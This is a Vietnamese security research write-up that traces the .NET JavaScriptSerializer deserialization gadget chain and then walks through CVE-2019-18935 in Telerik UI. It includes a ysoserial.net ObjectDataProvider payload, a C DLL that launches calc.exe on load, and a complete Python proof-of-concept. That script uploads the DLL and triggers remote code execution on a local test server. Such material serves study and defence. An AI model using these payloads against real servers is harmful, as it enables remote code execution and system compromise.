Try   HackMD

Mở đầu

Nguyên văn trang chủ Microsoft:

For .NET Framework 4.7.2 and later versions, use the APIs in the System.Text.Json namespace for serialization and deserialization. For earlier versions of .NET Framework, use Newtonsoft.Json. This type was intended to provide serialization and deserialization functionality for AJAX-enabled applications.

Họ cung cấp tính năng Serialize và deserialize trong .NET đối với dạng json, cùng với đó có một số lib hỗ trợ như: Json.NET, DataContractJsonSerializer và JavaScriptSerializer

Json.NET (Newtonsoft.Json): Đây là một thư viện mã nguồn mở do James Newton-King phát triển, không thuộc Microsoft. Tuy nhiên, Json.NET được sử dụng rất phổ biến trong các dự án .NET, và Microsoft đã tích hợp Json.NET vào ASP.NET Core như là một giải pháp chuẩn cho việc xử lý JSON trong một số phiên bản trước khi chuyển sang sử dụng System.Text.Json.

DataContractJsonSerializer: Là một phần của .NET Framework. Thư viện này được phát triển và duy trì bởi Microsoft.

JavaScriptSerializer: Đây cũng là một thư viện của Microsoft. Thư viện này namespace System.Web.Script.Serialization và chủ yếu được sử dụng để chuyển đổi dữ liệu giữa JSON và đối tượng trong các ứng dụng ASP.NET.

image

JavaScriptSerializer

Demo:

  • Mình sử dụng JetBrain Rider cho việc tạo project và debug
    image
    Sau đó add System.Web.Extensions ở Reference trong Dependencies
    image

Code:

using System; using System.Web.Script.Serialization; namespace JavascriptSer { class Person { public string Name { get; set; } } internal class Program { public static void Main(string[] args) { Person person = new Person() { Name = "onsra" }; JavaScriptSerializer serializer = new JavaScriptSerializer(); string v = serializer.Serialize(person); Console.WriteLine(v); Person p = serializer.Deserialize<Person>(v); Console.WriteLine(p.Name); // SimpleTypeResolver JavaScriptSerializer serializerWithType = new JavaScriptSerializer(new SimpleTypeResolver()); string v1 = serializerWithType.Serialize(person); Console.WriteLine(v1); Person p1 = serializerWithType.Deserialize<Person>(v1); Console.WriteLine(p1.Name); Console.ReadKey(); } } }
  • Đoạn code trên là 2 cách Ser với SimpleTypeResolver và không.
  • Output:
    image

JavaScriptSerializer

  • Ở line 23 khởi tạo JavaScriptSerializer với arg type resolver
    image
    image

  • SimpleTypeResolver là class được kế thừa từ JavaScriptTypeResolver, dùng cho việc derser, unser cho dạng type json

  • Đi sâu vào class JavaScriptSerializer, ta thấy có 3 method cho deserialization:
    image

  • Cả 3 method này đều return: return JavaScriptSerializer.Deserialize(this, input, (Type) null, this.RecursionLimit);

Để đi sâu hơn vào các hàm bên trong mình sử dụng ysoserial.net để tạo chain rồi phân tích.

C:\Users\onsra\Downloads\ysoserial-1dba9c4416ba6e79b6b262b758fa75e2ee9008e9\Release>ysoserial.exe -f JavaScriptSerializer -g objectdataprovider -c calc
{
    '__type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
    'MethodName':'Start',
    'ObjectInstance':{
        '__type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
        'StartInfo': {
            '__type':'System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
            'FileName':'cmd', 'Arguments':'/c calc'
        }
    }
}

Sau đó add payload vào file json trong thư mục sau:
image

Phân tích chain:

Code:

using System; using System.IO; using System.Web.Script.Serialization; namespace JavascriptSer { class Person { public string Name { get; set; } } internal class Program { public static void Main(string[] args) { JavaScriptSerializer serializerWithType = new JavaScriptSerializer(new SimpleTypeResolver()); serializerWithType.Deserialize<Object>(File.ReadAllText("1.json")); Console.ReadKey(); } } }

Bắt đầu từ serializerWithType.Deserialize call đến hàm Deserialize
image

-> BasicDeserialize
image
-> DeserializeInternal
Dòng 67: Covert data qua dictionary gồm các key và value của nó
image

image
Dòng 68 sẽ kiểm tra xem DeserializeDictionary có chứa key __type hay không. Trong trường hợp này có, sẽ tiếp tục call ConvertObjectToType
image
-> ConvertObjectToTypeMain
image
Dòng 260 check type null -> call ConvertObjectToTypeInternal
image
-> Call ConvertDictionaryToObject
image
-> serializer.TypeResolver.ResolveType(id) -> dictionary.Remove("__type")
-> Activator.CreateInstance(type1)
image
Khi chuyển vào __type, json chứa các trường, nó sẽ được chuyển đổi thành một đối tượng có kiểu tương ứng.

CVE-2019-18935

Tổng quan về CVE này:
image

image
Telerik khi upload nó sẽ tạo ra rauPostData (nôm na sẽ là đoạn encrypt gồm 1 số thành phần) sau đó để kiểm tra xem quá trình upload lên có bị sửa đổi gì không.
image

Ví dụ ở đoạn code này:
image

Kết hợp lại CVE-2017-11317 (upload file tuỳ ý) + lỗi Deserialize tạo nên CVE này

Function lỗi:

image

  • Dòng 373 sẽ chia rauPostData thành 2 mảng phần tử bằng split &,phần đầu sẽ được gắn vào biến text, phần còn lại sẽ là loại type.

  • Dòng 376 sẽ Deserialize với loại type chỉ định
    image
    Đi sâu vào class SerializationService ta sẽ thấy sử dụng JavaScriptSerializer, dòng 32 sẽ invoke loại object mà mình đưa vào, ở đây ta sẽ control nó sang dạng json, để có thể RCE.

  • Ở sự kiện BlackHat họ có public 1 Gadget của Json Deser: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf
    image
    image
    Họ cũng đã nói rõ 2 hướng để có thể RCE như trong hình.
    Như vậy ở CVE này có thể lợi dụng việc upload file tuỳ ý, mình sẽ upload một file dll Mixed Assembly. Sau đó sẽ dùng chain để call đến file dll đó để trigger.

POC:

File calc.c:

#include <windows.h> // Entry point for the DLL application BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) { switch (fdwReason) { case DLL_PROCESS_ATTACH: // Prevent DLL_THREAD_ATTACH and DLL_THREAD_DETACH notifications DisableThreadLibraryCalls(hinstDLL); // Launch calc.exe STARTUPINFO si = { sizeof(si) }; PROCESS_INFORMATION pi; if (CreateProcess( NULL, // No module name (use command line) "calc.exe", // Command line NULL, // Process handle not inheritable NULL, // Thread handle not inheritable FALSE, // Set handle inheritance to FALSE 0, // No creation flags NULL, // Use parent's environment block NULL, // Use parent's starting directory &si, // Pointer to STARTUPINFO structure &pi) // Pointer to PROCESS_INFORMATION structure ) { // Successfully created the process. Close handles. CloseHandle(pi.hProcess); CloseHandle(pi.hThread); } break; case DLL_PROCESS_DETACH: break; // Optionally handle other cases like DLL_THREAD_ATTACH and DLL_THREAD_DETACH } return TRUE; // Successful DLL_PROCESS_ATTACH }

Sau đó complie đoạn c trên thành assembly DLL.
Kết hợp và sửa lại POC CVE upload file: https://github.com/bao7uo/RAU_crypto/blob/master/RAU_crypto.py

from sys import path path.insert(1, 'RAU_crypto') from RAU_crypto import RAUCipher from json import dumps, loads from os.path import basename, splitext from pprint import pprint from requests import post from requests.packages.urllib3 import disable_warnings from time import time from urllib3.exceptions import InsecureRequestWarning disable_warnings(category=InsecureRequestWarning) version = '2017' filename_local = 'payloads/calc-092024163310,69-x86.dll' temp_target_folder = r'D:\Research\TelerikCVE-2019-18935\TelerikCVE-2019-18935\App_Data'.replace('/', '\\') url = 'http://localhost:5000/Telerik.Web.UI.WebResource.axd?type=rau' def send_request(files): response = post(url, files=files) try: result = loads(response.text) result['metaData'] = loads(RAUCipher.decrypt(result['metaData'])) pprint(result) except Exception as e: print(f"Error: {e}") print(response.text) def build_raupostdata(post_data, data_type): return RAUCipher.encrypt(dumps(post_data)) + '&' + RAUCipher.encrypt(data_type) def upload(): post_data = { 'TargetFolder': RAUCipher.addHmac(RAUCipher.encrypt(''), version), 'TempTargetFolder': RAUCipher.addHmac(RAUCipher.encrypt(temp_target_folder), version), 'MaxFileSize': 0, 'TimeToLive': { 'Ticks': 1440000000000, 'Days': 0, 'Hours': 40, 'Minutes': 0, 'Seconds': 0, 'Milliseconds': 0, 'TotalDays': 1.6666666666666666, 'TotalHours': 40, 'TotalMinutes': 2400, 'TotalSeconds': 144000, 'TotalMilliseconds': 144000000 }, 'UseApplicationPoolImpersonation': False } data_type = f'Telerik.Web.UI.AsyncUploadConfiguration, Telerik.Web.UI, Version={version}, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a' raupostdata = build_raupostdata(post_data, data_type) with open(filename_local, 'rb') as f: payload = f.read() metadata = { 'TotalChunks': 1, 'ChunkIndex': 0, 'TotalFileSize': 1, 'UploadID': filename_remote } files = { 'rauPostData': (None, raupostdata), 'file': (filename_remote, payload, 'application/octet-stream'), 'fileName': (None, filename_remote), 'contentType': (None, 'application/octet-stream'), 'lastModifiedDate': (None, '2024-09-22T04:42:08.414Z'), 'metadata': (None, dumps(metadata)) } send_request(files) def deserialize(): post_data = { 'Path': 'file:///' + temp_target_folder.replace('\\', '/') + '/' + filename_remote } data_type = 'System.Configuration.Install.AssemblyInstaller, System.Configuration.Install, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a' raupostdata = build_raupostdata(post_data, data_type) files = { 'rauPostData': (None, raupostdata), '': '' } send_request(files) if __name__ == '__main__': filename_remote = str(time()) + splitext(basename(filename_local))[1] upload() deserialize()

Sau khi chạy request Calc sẽ popup, như vậy là thành công.